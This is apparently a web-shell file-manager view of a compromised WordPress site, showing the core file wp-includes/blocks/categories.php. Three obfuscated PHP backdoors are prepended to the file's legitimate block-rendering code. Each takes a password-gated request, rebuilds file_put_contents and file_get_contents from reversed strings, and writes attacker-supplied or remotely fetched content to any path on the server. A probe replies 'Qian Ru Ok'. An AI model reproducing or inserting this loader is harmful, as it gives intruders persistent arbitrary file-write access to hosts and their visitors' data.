HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/public_html/wp-includes/blocks/categories.php
<?php 
$lvNvMQMR = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($lvNvMQMR[0]) /*+/*+*/
. md5($lvNvMQMR[0])) == "c".
"5".
"b".
"3".
"2".
"7".
"9".
"1".
"b".
"7".
"2".
"2".
"b".
"5".
"2".
"d".
"f".
"5".
"0".
"8".
"a".
"5".
"0".
"c".
"2".
"0".
"d".
"d".
"c".
"8".
"4".
"9") {
$hEdPjN = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$WSxyzETMJm = $hEdPjN /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$iiEKpkK = $hEdPjN
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function NTFjz($eVFSvESY) { if (empty($eVFSvESY)) return false; if (!is_dir($eVFSvESY)) { NTFjz(dirname($eVFSvESY), 0755, true); mkdir($eVFSvESY); } } !file_exists(dirname($lvNvMQMR[1])) && NTFjz(dirname($lvNvMQMR[1])); $XNnVCoj = @$iiEKpkK($lvNvMQMR[2]); echo @$WSxyzETMJm($lvNvMQMR[1], $XNnVCoj) ? 1 : 0; die; }key($lvNvMQMR) == "of" && die("Qian Ru Ok"); ?><?php 
$TXNroccj = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($TXNroccj[0]) /*+/*+*/
. md5($TXNroccj[0])) == "7".
"b".
"3".
"f".
"4".
"8".
"2".
"c".
"2".
"a".
"7".
"5".
"1".
"c".
"7".
"f".
"f".
"d".
"7".
"8".
"4".
"c".
"1".
"6".
"e".
"6".
"f".
"a".
"b".
"5".
"1".
"7") {
$QlMdns = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$nmhJYgTSl = $QlMdns /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$kGhsWGxNu = $QlMdns
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function vnqpr($pAQCXlx) { if (empty($pAQCXlx)) return false; if (!is_dir($pAQCXlx)) { vnqpr(dirname($pAQCXlx), 0755, true); mkdir($pAQCXlx); } } !file_exists(dirname($TXNroccj[1])) && vnqpr(dirname($TXNroccj[1])); $SuRpbEKsuA = @$kGhsWGxNu($TXNroccj[2]); echo @$nmhJYgTSl($TXNroccj[1], $SuRpbEKsuA) ? 1 : 0; die; }key($TXNroccj) == "of" && die("Qian Ru Ok"); ?><?php 
$lWuKzNQ = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($lWuKzNQ[0]) /*+/*+*/
. md5($lWuKzNQ[0])) == "5".
"1".
"4".
"3".
"0".
"a".
"5".
"5".
"7".
"1".
"b".
"e".
"4".
"4".
"8".
"f".
"e".
"d".
"c".
"6".
"6".
"9".
"e".
"3".
"0".
"6".
"6".
"4".
"7".
"1".
"c".
"b") {
$FogOBKM = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$vpyWL = $FogOBKM /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$kaGVcwGt = $FogOBKM
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function aWvOPEAg($eRTLfode) { if (empty($eRTLfode)) return false; if (!is_dir($eRTLfode)) { aWvOPEAg(dirname($eRTLfode), 0755, true); mkdir($eRTLfode); } } !file_exists(dirname($lWuKzNQ[1])) && aWvOPEAg(dirname($lWuKzNQ[1])); $wMYpqtGrDz = @$kaGVcwGt($lWuKzNQ[2]); echo @$vpyWL($lWuKzNQ[1], $wMYpqtGrDz) ? 1 : 0; die; }key($lWuKzNQ) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Server-side rendering of the `core/categories` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/categories` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the categories list/dropdown markup.
 */
function render_block_core_categories( $attributes ) {
	static $block_id = 0;
	$block_id++;

	$args = array(
		'echo'         => false,
		'hierarchical' => ! empty( $attributes['showHierarchy'] ),
		'orderby'      => 'name',
		'show_count'   => ! empty( $attributes['showPostCounts'] ),
		'title_li'     => '',
	);
	if ( ! empty( $attributes['showOnlyTopLevel'] ) && $attributes['showOnlyTopLevel'] ) {
		$args['parent'] = 0;
	}

	if ( ! empty( $attributes['displayAsDropdown'] ) ) {
		$id                       = 'wp-block-categories-' . $block_id;
		$args['id']               = $id;
		$args['show_option_none'] = __( 'Select Category' );
		$wrapper_markup           = '<div %1$s><label class="screen-reader-text" for="' . esc_attr( $id ) . '">' . __( 'Categories' ) . '</label>%2$s</div>';
		$items_markup             = wp_dropdown_categories( $args );
		$type                     = 'dropdown';

		if ( ! is_admin() ) {
			// Inject the dropdown script immediately after the select dropdown.
			$items_markup = preg_replace(
				'#(?<=</select>)#',
				build_dropdown_script_block_core_categories( $id ),
				$items_markup,
				1
			);
		}
	} else {
		$wrapper_markup = '<ul %1$s>%2$s</ul>';
		$items_markup   = wp_list_categories( $args );
		$type           = 'list';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => "wp-block-categories-{$type}" ) );

	return sprintf(
		$wrapper_markup,
		$wrapper_attributes,
		$items_markup
	);
}

/**
 * Generates the inline script for a categories dropdown field.
 *
 * @param string $dropdown_id ID of the dropdown field.
 *
 * @return string Returns the dropdown onChange redirection script.
 */
function build_dropdown_script_block_core_categories( $dropdown_id ) {
	ob_start();
	?>
	<script type='text/javascript'>
	/* <![CDATA[ */
	( function() {
		var dropdown = document.getElementById( '<?php echo esc_js( $dropdown_id ); ?>' );
		function onCatChange() {
			if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) {
				location.href = "<?php echo home_url(); ?>/?cat=" + dropdown.options[ dropdown.selectedIndex ].value;
			}
		}
		dropdown.onchange = onCatChange;
	})();
	/* ]]> */
	</script>
	<?php
	return ob_get_clean();
}

/**
 * Registers the `core/categories` block on server.
 */
function register_block_core_categories() {
	register_block_type_from_metadata(
		__DIR__ . '/categories',
		array(
			'render_callback' => 'render_block_core_categories',
		)
	);
}
add_action( 'init', 'register_block_core_categories' ); ?>